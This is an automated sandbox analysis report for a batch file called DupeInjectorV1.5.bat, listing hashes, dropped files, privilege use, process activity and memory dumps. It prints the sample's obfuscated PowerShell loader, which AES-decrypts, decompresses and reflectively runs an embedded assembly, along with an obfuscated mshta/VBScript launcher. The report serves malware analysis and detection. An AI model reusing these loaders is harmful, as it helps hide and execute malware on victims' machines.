78d6219edaf300488e58b5133f4c9cf79e896ac38a20406b7d44f97e2ef6382d

Resubmissions

11/02/2024, 14:25

240211-rreprsah99 10

11/02/2024, 14:06

240211-rehkwsah53 4

Analysis

max time kernel
44s
max time network
42s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
11/02/2024, 14:06

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General

Target

DupeInjectorV1.5.bat
Size

11.7MB
MD5

6878c36229c1e607455bff2707b7b997
SHA1

91a9764c0c815ef25f86556d38e886223040d543
SHA256

78d6219edaf300488e58b5133f4c9cf79e896ac38a20406b7d44f97e2ef6382d
SHA512

3d253c1b8dcb110ae3433bfdde514b6372c0733cc766aa29a347b70945c98c89b465e1fd61aa4cf3b67798bc1c5b617f2cb10c36b59ef4c07f814688f7ba1e3e
SSDEEP

49152:hZue6SM3O2MCef8qLldKe8iPlqCaGo6FkFglFnjDxPjzTUmm18+NFAJ8UMfDaN1i:4

Score

4^/10

Malware Config

Signatures

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$sxr-cmd.exe	powershell.exe
File created	C:\Windows\$sxr-powershell.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	powershell.exe
File created	C:\Windows\$sxr-mshta.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	powershell.exe
File created	C:\Windows\$sxr-cmd.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 100 wrote to memory of 4604	100	cmd.exe	84
PID 100 wrote to memory of 4604	100	cmd.exe	84
PID 100 wrote to memory of 4316	100	cmd.exe	85
PID 100 wrote to memory of 4316	100	cmd.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DupeInjectorV1.5.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function yRWFs($jTmRZ){ $gSPTl=[System.Security.Cryptography.Aes]::Create(); $gSPTl.Mode=[System.Security.Cryptography.CipherMode]::CBC; $gSPTl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $gSPTl.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('JL1XN22CsrHve/JVh4vnlRjNE/57xHQF/eIioVKSeZA='); $gSPTl.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('RCESiKdN+JcFZgPoSB3tZg=='); $jqHph=$gSPTl.CreateDecryptor(); $return_var=$jqHph.TransformFinalBlock($jTmRZ, 0, $jTmRZ.Length); $jqHph.Dispose(); $gSPTl.Dispose(); $return_var;}function wSCZf($jTmRZ){ $PTEYT=New-Object System.IO.MemoryStream(,$jTmRZ); $XeiYV=New-Object System.IO.MemoryStream; Invoke-Expression '$WJZnT #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$PTEYT,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $WJZnT.CopyTo($XeiYV); $WJZnT.Dispose(); $PTEYT.Dispose(); $XeiYV.Dispose(); $XeiYV.ToArray();}function SOEOp($jTmRZ,$pKbtk){ $EkKAe = @( '$gqBcB = [System.#R#e#f#l#e#c#t#i#o#n#.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$jTmRZ);'.Replace("#", ""), '$SkEkH = $gqBcB.EntryPoint;', '$SkEkH.Invoke($null, $pKbtk);' ); foreach ($SgezO in $EkKAe) { Invoke-Expression $SgezO };}$cJgdi=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\DupeInjectorV1.5.bat').Split([Environment]::NewLine);foreach ($FxTix in $cJgdi) { if ($FxTix.StartsWith('SIROXEN')) { $FsrBa=$FxTix.Substring(7); break; }}$dSrZG=wSCZf (yRWFs ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($FsrBa)));SOEOp $dSrZG (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\DupeInjectorV1.5.bat')); "
  2⤵
  PID:4604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4316

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-GbmfJGBAttJkONCWTJOC4312:RfOwYQok=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
PID:3324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q3a1ad3r.kso.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4316-19-0x00007FFB69730000-0x00007FFB6A1F1000-memory.dmp

Filesize
10.8MB

Download
memory/4316-21-0x00007FFB87C10000-0x00007FFB87E05000-memory.dmp

Filesize
2.0MB

Download
memory/4316-12-0x0000024CE3CB0000-0x0000024CE3CC0000-memory.dmp

Filesize
64KB

Download
memory/4316-11-0x0000024CE3CB0000-0x0000024CE3CC0000-memory.dmp

Filesize
64KB

Download
memory/4316-13-0x0000024CE5DC0000-0x0000024CE5E04000-memory.dmp

Filesize
272KB

Download
memory/4316-14-0x0000024CE61E0000-0x0000024CE6256000-memory.dmp

Filesize
472KB

Download
memory/4316-16-0x0000024CFE950000-0x0000024CFF1F8000-memory.dmp

Filesize
8.7MB

Download
memory/4316-17-0x00007FFB877D0000-0x00007FFB8788E000-memory.dmp

Filesize
760KB

Download
memory/4316-18-0x00007FFB87C10000-0x00007FFB87E05000-memory.dmp

Filesize
2.0MB

Download
memory/4316-23-0x00007FFB87C10000-0x00007FFB87E05000-memory.dmp

Filesize
2.0MB

Download
memory/4316-10-0x00007FFB69730000-0x00007FFB6A1F1000-memory.dmp

Filesize
10.8MB

Download
memory/4316-20-0x0000024CE3CB0000-0x0000024CE3CC0000-memory.dmp

Filesize
64KB

Download
memory/4316-0-0x0000024CCBAB0000-0x0000024CCBAD2000-memory.dmp

Filesize
136KB

Download
memory/4316-22-0x0000024CE3CB0000-0x0000024CE3CC0000-memory.dmp

Filesize
64KB

Download
memory/4316-24-0x0000024CE6260000-0x0000024CE6C8C000-memory.dmp

Filesize
10.2MB

Download
memory/4316-25-0x0000024CE3CB0000-0x0000024CE3CC0000-memory.dmp

Filesize
64KB

Download
memory/4316-26-0x0000024CE6C90000-0x0000024CE6D2C000-memory.dmp

Filesize
624KB

Download
memory/4316-27-0x0000024CE5D70000-0x0000024CE5DC0000-memory.dmp

Filesize
320KB

Download
memory/4316-28-0x0000024CE6160000-0x0000024CE61B8000-memory.dmp

Filesize
352KB

Download
memory/4316-29-0x0000024CE6D30000-0x0000024CE6D5C000-memory.dmp

Filesize
176KB

Download
memory/4316-36-0x0000024CCB8A0000-0x0000024CCB8A6000-memory.dmp

Filesize
24KB

Download
memory/4316-37-0x0000000180000000-0x0000000180007000-memory.dmp

Filesize
28KB

Download